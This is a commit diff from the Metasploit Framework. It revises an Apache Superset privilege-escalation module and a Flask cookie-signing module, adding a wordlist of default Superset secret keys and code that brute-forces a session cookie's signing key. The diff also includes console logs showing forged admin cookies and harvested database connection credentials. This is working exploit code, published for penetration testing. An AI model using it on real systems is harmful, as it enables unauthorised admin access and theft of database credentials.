another round of review comments

This commit is contained in:
h00die
2023-09-11 14:29:20 -04:00
parent 2ed001ced2
commit 94657d317b
6 changed files with 31808 additions and 40 deletions
File diff suppressed because one or more lines are too long
+5
View File
@@ -0,0 +1,5 @@
\x02\x01thisismyscretkey\x01\x02\\e\\y\\y\\h
CHANGE_ME_TO_A_COMPLEX_RANDOM_SECRET
thisISaSECRET_1234
YOUR_OWN_RANDOM_GENERATED_SECRET_KEY
TEST_NON_DEV_SECRET
@@ -45,17 +45,20 @@ The username to authenticate as. Required with no default.
The password for the specified username. Required with no default.
### ADMIN_ID
The ID of an admin account. Defaults to `1`
### SECRET_KEYS_FILE
A file containing secret keys to try. One per line. Defaults to `metasploit-framework/data/wordlists/superset_secret_keys.tx`
## Scenarios
### Superset 2.0.0 Docker image
```
msf6 > use auxiliary/gather/apache_superset_priv_esc
msf6 > use auxiliary/gather/apache_superset_cookie_sig_priv_esc
msf6 auxiliary(gather/apache_superset_priv_esc) > set rhosts 127.0.0.1
rhosts => 127.0.0.1
msf6 auxiliary(gather/apache_superset_priv_esc) > set username user
@@ -68,20 +71,22 @@ msf6 auxiliary(gather/apache_superset_priv_esc) > run
[*] Running module against 127.0.0.1
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target is vulnerable. Apache Supset 2.0.0 is vulnerable
[*] 127.0.0.1:8088 - CSRF Token: ImQ2NDBmM2RlZTcyYjA5MzFiMDE4MjMwYWI4N2QxNzY1NGY0ZTBmZWYi.ZK2qOQ.c-LssFFTxWJKoQZ7v1Sex8q-xy0
[*] 127.0.0.1:8088 - Initial Cookie: session=eyJjc3JmX3Rva2VuIjoiZDY0MGYzZGVlNzJiMDkzMWIwMTgyMzBhYjg3ZDE3NjU0ZjRlMGZlZiIsImxvY2FsZSI6ImVuIn0.ZK2qOQ.oXIWtpT7OItq7Vmr-00Prtl4Pmg;
[*] 127.0.0.1:8088 - Decoded Cookie: {"csrf_token"=>"d640f3dee72b0931b018230ab87d17654f4e0fef", "locale"=>"en"}
[+] The target appears to be vulnerable. Apache Supset 2.0.0 is vulnerable
[*] 127.0.0.1:8088 - CSRF Token: IjkzNDBmZmI4ZDc4M2I4NWNiYzlmNWQwOGM4NTcwZDUzZGVhZDMwZjEi.ZP8uyQ.iBpplhnMpXOZnjiV1Xh_reR_uLw
[*] 127.0.0.1:8088 - Initial Cookie: session=eyJjc3JmX3Rva2VuIjoiOTM0MGZmYjhkNzgzYjg1Y2JjOWY1ZDA4Yzg1NzBkNTNkZWFkMzBmMSIsImxvY2FsZSI6ImVuIn0.ZP8uyQ.jHXs3u8dqoBUWeL1vjUTxXOWLAo;
[*] 127.0.0.1:8088 - Decoded Cookie: {"csrf_token"=>"9340ffb8d783b85cbc9f5d08c8570d53dead30f1", "locale"=>"en"}
[*] 127.0.0.1:8088 - Attempting login
[+] 127.0.0.1:8088 - Logged in Cookie: session=.eJwlj0tqAzEQRO-itRf9G7XalxkkdTc2MTbM2KuQu0chy6Io6r3vsucR561c38cnLmW_e7mWMKE-qmR3UcdB0LB2EczOSC6VeCNBowruSYxjNdswtOnNY3BuuuG0VodSotpMVuzk6AlCDUcqayoYpIu3ZgLAjad1q4xRLmWeR-7v11c8F49XgWSPUBpg6w6wEUMfbdFp3SQlICPX7vGa_RF_Ds-VPmcc_0pUfn4BrnVCHw.ZK2qOQ.SCiqOSW_PTP9VPz2CfG_2IZmHyI;
[*] 127.0.0.1:8088 - Modified cookie: {"_fresh"=>true, "_id"=>"e942ab64fad47d1b20816a441fa312d462352419260ddf231b1fa5b919cd8deb3f5751c986b72f179cf371a2d1df04281bf737f7090fd4d889400383c9a9631e", "csrf_token"=>"d640f3dee72b0931b018230ab87d17654f4e0fef", "locale"=>"en", "user_id"=>1}
[*] Attempting to resign with key: thisismyscretkey\e\y\y\h
[*] 127.0.0.1:8088 - New signed cookie: eyJfZnJlc2giOnRydWUsIl9pZCI6ImU5NDJhYjY0ZmFkNDdkMWIyMDgxNmE0NDFmYTMxMmQ0NjIzNTI0MTkyNjBkZGYyMzFiMWZhNWI5MTljZDhkZWIzZjU3NTFjOTg2YjcyZjE3OWNmMzcxYTJkMWRmMDQyODFiZjczN2Y3MDkwZmQ0ZDg4OTQwMDM4M2M5YTk2MzFlIiwiY3NyZl90b2tlbiI6ImQ2NDBmM2RlZTcyYjA5MzFiMDE4MjMwYWI4N2QxNzY1NGY0ZTBmZWYiLCJsb2NhbGUiOiJlbiIsInVzZXJfaWQiOjF9.ZK2qOQ.fv4N_O6m35thR0PFpOdy7E8MA_Y
[-] 127.0.0.1:8088 - Cookie not accepted
[*] Attempting to resign with key: CHANGE_ME_TO_A_COMPLEX_RANDOM_SECRET
[*] 127.0.0.1:8088 - New signed cookie: eyJfZnJlc2giOnRydWUsIl9pZCI6ImU5NDJhYjY0ZmFkNDdkMWIyMDgxNmE0NDFmYTMxMmQ0NjIzNTI0MTkyNjBkZGYyMzFiMWZhNWI5MTljZDhkZWIzZjU3NTFjOTg2YjcyZjE3OWNmMzcxYTJkMWRmMDQyODFiZjczN2Y3MDkwZmQ0ZDg4OTQwMDM4M2M5YTk2MzFlIiwiY3NyZl90b2tlbiI6ImQ2NDBmM2RlZTcyYjA5MzFiMDE4MjMwYWI4N2QxNzY1NGY0ZTBmZWYiLCJsb2NhbGUiOiJlbiIsInVzZXJfaWQiOjF9.ZK2qOQ.XIvqgEv_nviSivPJjE73KOWKMEI
[+] 127.0.0.1:8088 - Logged in Cookie: session=.eJwNjUEKwyAQRa8isw7FYiXGG3TXfQhhojMmdDCgoaWE3L2uHnx4_50ws2BdqYIfT1BHA3yx5C0n6OCZPyhbVLKnLd_USwgrqaP8FCZsC0zX1LWLQnUFzyiVOgi18Hzsb8rgYTAPzby42DuzOBuWMLCN2gVnex2tiYTRaL63mOwBhZrTxOsPSKAxLA.ZP8uyQ.UvNg89u5vOnyFiip1diP8ABrDCY;
.eJwNjUEKwyAQRa8isw7FYiXGG3TXfQhhojMmdDCgoaWE3L2uHnx4_50ws2BdqYIfT1BHA3yx5C0n6OCZPyhbVLKnLd_USwgrqaP8FCZsC0zX1LWLQnUFzyiVOgi18Hzsb8rgYTAPzby42DuzOBuWMLCN2gVnex2tiYTRaL63mOwBhZrTxOsPSKAxLA.ZP8uyQ.UvNg89u5vOnyFiip1diP8ABrDCY
[*] 127.0.0.1:8088 - Checking secret key: \x02\x01thisismyscretkey\x01\x02\\e\\y\\y\\h
[-] 127.0.0.1:8088 - Incorrect Secret Key: \x02\x01thisismyscretkey\x01\x02\\e\\y\\y\\h
[*] 127.0.0.1:8088 - Checking secret key: CHANGE_ME_TO_A_COMPLEX_RANDOM_SECRET
[+] 127.0.0.1:8088 - Found secret key: CHANGE_ME_TO_A_COMPLEX_RANDOM_SECRET
[*] 127.0.0.1:8088 - Modified cookie: {"_flashes"=>[{" t"=>["warning", "Invalid login. Please try again."]}], "_fresh"=>false, "csrf_token"=>"9340ffb8d783b85cbc9f5d08c8570d53dead30f1", "locale"=>"en", "user_id"=>1}
[*] 127.0.0.1:8088 - Attempting to resign with key: CHANGE_ME_TO_A_COMPLEX_RANDOM_SECRET
[*] 127.0.0.1:8088 - New signed cookie: eyJfZmxhc2hlcyI6W3siIHQiOlsid2FybmluZyIsIkludmFsaWQgbG9naW4uIFBsZWFzZSB0cnkgYWdhaW4uIl19XSwiX2ZyZXNoIjpmYWxzZSwiY3NyZl90b2tlbiI6IjkzNDBmZmI4ZDc4M2I4NWNiYzlmNWQwOGM4NTcwZDUzZGVhZDMwZjEiLCJsb2NhbGUiOiJlbiIsInVzZXJfaWQiOjF9.ZP8uyQ.7Rgp9a7iPK-m7NQRbWpixG62CMo
[+] 127.0.0.1:8088 - Cookie validated to user: admin
[+] Found mysql database exampledb: root:my-secret-pw@111.222.3.444:3306
[+] Found Super Secret DB: postgresql://dbuser:mysecretpassword@1.1.1.1:15432/supersetdb
[*] Done enumerating databases
[*] Auxiliary module execution completed
msf6 auxiliary(gather/apache_superset_priv_esc) > creds
@@ -38,6 +38,10 @@ sudo docker exec -it superset superset init
Retrieve a cookie from an HTTP(s) server
### FindSecret
Using the provided wordlist, find the secret key used to sign the cookie
### Resign
Resign the specified cookie data
@@ -56,11 +60,16 @@ When action is set to `Resign`, the content of the decoded cookie will be replac
When action is set to `Resign`, the cookie is signed with this secret.
### SECRET_KEYS_FILE
When action is set to `FindSecret`, a file containing secret keys to try. One per line. Defaults to `metasploit-framework/data/wordlists/flask_secret_keys.tx`
## Scenarios
### Apache Superset 2.0.0
#### Grab the cookie to make sure its a valid cookie that can be decoded. (Retrieve)
```
msf6 > use auxiliary/gather/python_flask_cookie_signer
msf6 auxiliary(gather/python_flask_cookie_signer) > set RHOSTS 192.168.159.128
@@ -76,6 +85,25 @@ msf6 auxiliary(gather/python_flask_cookie_signer) > run
[*] 192.168.159.128:8088 - Initial Cookie: session=eyJjc3JmX3Rva2VuIjoiZDU2N2U1ZDJmYmU1NDIyOTRlMzFhODU5YWFiMjQ5MTcwMDcyNTNhMyIsImxvY2FsZSI6ImVuIn0.ZPoc7Q.y_slNhIvS7PDX1gKMYpBS1nW0L0
[*] 192.168.159.128:8088 - Decoded Cookie: {"csrf_token"=>"d567e5d2fbe542294e31a859aab24917007253a3", "locale"=>"en"}
[*] Auxiliary module execution completed
```
#### Determine the secret key (FindSecret)
```
msf6 auxiliary(gather/python_flask_cookie_signer) > set action FindSecret
action => findsecret
msf6 auxiliary(gather/python_flask_cookie_signer) > run
[*] Running module against 127.0.0.1
[*] 127.0.0.1:8088 - Retrieving Cookie
[*] 127.0.0.1:8088 - Initial Cookie: session=eyJjc3JmX3Rva2VuIjoiZjNlMjU1MzBkZWNkYjE4YzRkYWMxMTQzODgyYjg1ODlmMWM3YzFjYyIsImxvY2FsZSI6ImVuIn0.ZP9b0w.PjZZJJ1lSiUQPacotJV0zbxX3fU
[+] 127.0.0.1:8088 - Found secret key: CHANGE_ME_TO_A_COMPLEX_RANDOM_SECRET
[*] Auxiliary module execution completed
```
#### Sign a new cookie (Resign)
```
msf6 auxiliary(gather/python_flask_cookie_signer) > set NEWCOOKIECONTENT '{"csrf_token"=>"08e51dd1f352d6790e6ab9b99dadd621602b9189", "locale"=>"fr"}'
NEWCOOKIECONTENT => {"csrf_token"=>"08e51dd1f352d6790e6ab9b99dadd621602b9189", "locale"=>"fr"}
msf6 auxiliary(gather/python_flask_cookie_signer) > set SECRET CHANGE_ME_TO_A_COMPLEX_RANDOM_SECRET
@@ -47,7 +47,11 @@ class MetasploitModule < Msf::Auxiliary
OptString.new('USERNAME', [true, 'The username to authenticate as', nil]),
OptString.new('PASSWORD', [true, 'The password for the specified username', nil]),
OptInt.new('ADMIN_ID', [true, 'The ID of an admin account', 1]),
OptString.new('TARGETURI', [ true, 'Relative URI of Apache Superset installation', '/'])
OptString.new('TARGETURI', [ true, 'Relative URI of Apache Superset installation', '/']),
OptPath.new('SECRET_KEYS_FILE', [
false, 'File containing secret keys to try, one per line',
File.join(Msf::Config.data_directory, 'wordlists', 'superset_secret_keys.txt')
]),
]
)
end
@@ -71,32 +75,41 @@ class MetasploitModule < Msf::Auxiliary
end
end
def valid_cookie(decoded_cookie)
[
"\x02\x01thisismyscretkey\x01\x02\\e\\y\\y\\h", # version < 1.4.1
'CHANGE_ME_TO_A_COMPLEX_RANDOM_SECRET', # version >= 1.4.1
'thisISaSECRET_1234', # deployment template
'YOUR_OWN_RANDOM_GENERATED_SECRET_KEY', # documentation
'TEST_NON_DEV_SECRET' # docker compose
].each do |secret|
print_status("Attempting to resign with key: #{secret}")
encoded_cookie = Msf::Exploit::Remote::HTTP::FlaskUnsign::Session.sign(decoded_cookie, secret)
print_status("#{peer} - New signed cookie: #{encoded_cookie}")
cookie_jar.clear
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'api', 'v1', 'me', '/'),
'cookie' => "session=#{encoded_cookie};",
'keep_cookies' => true
)
fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil?
if res.code == 401
print_bad("#{peer} - Cookie not accepted")
def get_secret_key(cookie)
File.open(datastore['SECRET_KEYS_FILE'], 'rb').each do |secret|
secret = secret.strip
vprint_status("#{peer} - Checking secret key: #{secret}")
unless Msf::Exploit::Remote::HTTP::FlaskUnsign::Session.valid?(cookie, secret)
vprint_bad("#{peer} - Incorrect Secret Key: #{secret}")
next
end
data = res.get_json_document
print_good("#{peer} - Cookie validated to user: #{data['result']['username']}")
return encoded_cookie
print_good("#{peer} - Found secret key: #{secret}")
return secret
end
nil
end
def validate_cookie(decoded_cookie, secret_key)
print_status("#{peer} - Attempting to resign with key: #{secret_key}")
encoded_cookie = Msf::Exploit::Remote::HTTP::FlaskUnsign::Session.sign(decoded_cookie, secret_key)
print_status("#{peer} - New signed cookie: #{encoded_cookie}")
cookie_jar.clear
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'api', 'v1', 'me', '/'),
'cookie' => "session=#{encoded_cookie};",
'keep_cookies' => true
)
fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil?
if res.code == 401
print_bad("#{peer} - Cookie not accepted")
return nil
end
data = res.get_json_document
print_good("#{peer} - Cookie validated to user: #{data['result']['username']}")
return encoded_cookie
end
def run
@@ -131,10 +144,17 @@ class MetasploitModule < Msf::Auxiliary
fail_with(Failure::NoAccess, "#{peer} - Failed login") if res.body.include? 'Sign In'
cookie = res.get_cookies.to_s
print_good("#{peer} - Logged in Cookie: #{cookie}")
decoded_cookie = Msf::Exploit::Remote::HTTP::FlaskUnsign::Session.decode(cookie.split('=')[1].gsub(';', ''))
# get the cookie value and strip off anything else
cookie = cookie.split('=')[1].gsub(';', '')
secret_key = get_secret_key(cookie)
fail_with(Failure::NotFound, 'Unable to find secret key') if secret_key.nil?
decoded_cookie = Msf::Exploit::Remote::HTTP::FlaskUnsign::Session.decode(cookie)
decoded_cookie['user_id'] = datastore['ADMIN_ID']
print_status("#{peer} - Modified cookie: #{decoded_cookie}")
admin_cookie = valid_cookie(decoded_cookie)
admin_cookie = validate_cookie(decoded_cookie, secret_key)
fail_with(Failure::NoAccess, "#{peer} - Unable to sign cookie with a valid secret") if admin_cookie.nil?
(1..101).each do |i|
@@ -35,6 +35,7 @@ class MetasploitModule < Msf::Auxiliary
},
'Actions' => [
['Retrieve', { 'Description' => 'Retrieve a cookie from an HTTP(s) server' }],
['FindSecret', { 'Description' => 'Brute force the secret key used to sign the cookie' }],
['Resign', { 'Description' => 'Resign the specified cookie data' }]
],
'DefaultAction' => 'Retrieve',
@@ -47,6 +48,10 @@ class MetasploitModule < Msf::Auxiliary
OptString.new('TARGETURI', [ true, 'URI to browse', '/']),
OptString.new('NEWCOOKIECONTENT', [ false, 'Content of a cookie to sign', ''], conditions: %w[ACTION == Resign]),
OptString.new('SECRET', [ true, 'The key with which to sign the cookie', '']),
OptPath.new('SECRET_KEYS_FILE', [
false, 'File containing secret keys to try, one per line',
File.join(Msf::Config.data_directory, 'wordlists', 'flask_secret_keys.txt')
], conditions: %w[ACTION == FindSecret]),
]
)
register_advanced_options(
@@ -57,6 +62,38 @@ class MetasploitModule < Msf::Auxiliary
)
end
def action_find_secret
print_status("#{peer} - Retrieving Cookie")
res = send_request_cgi!({
'uri' => normalize_uri(target_uri.path),
'keep_cookies' => true
})
fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil?
fail_with(Failure::UnexpectedReply, "#{peer} - Unexpected response code (#{res.code})") unless res.code == 200
cookie = cookie_jar.cookies.find { |c| c.name == datastore['CookieName'] }&.cookie_value
fail_with(Failure::UnexpectedReply, "#{peer} - Response is missing the session cookie") unless cookie
print_status("#{peer} - Initial Cookie: #{cookie}")
# get the cookie value and strip off anything else
cookie = cookie.split('=')[1].gsub(';', '')
File.open(datastore['SECRET_KEYS_FILE'], 'rb').each do |secret|
secret = secret.strip
vprint_status("#{peer} - Checking secret key: #{secret}")
unless Msf::Exploit::Remote::HTTP::FlaskUnsign::Session.valid?(cookie, secret)
vprint_bad("#{peer} - Incorrect Secret Key: #{secret}")
next
end
print_good("#{peer} - Found secret key: #{secret}")
return secret
end
nil
end
def action_retrieve
print_status("#{peer} - Retrieving Cookie")
res = send_request_cgi!({
@@ -95,6 +132,8 @@ class MetasploitModule < Msf::Auxiliary
case action.name
when 'Retrieve'
action_retrieve
when 'FindSecret'
action_find_secret
when 'Resign'
print_status("Attempting to sign with key: #{datastore['SECRET']}")
secret = Rex::Text.dehex(datastore['SECRET'])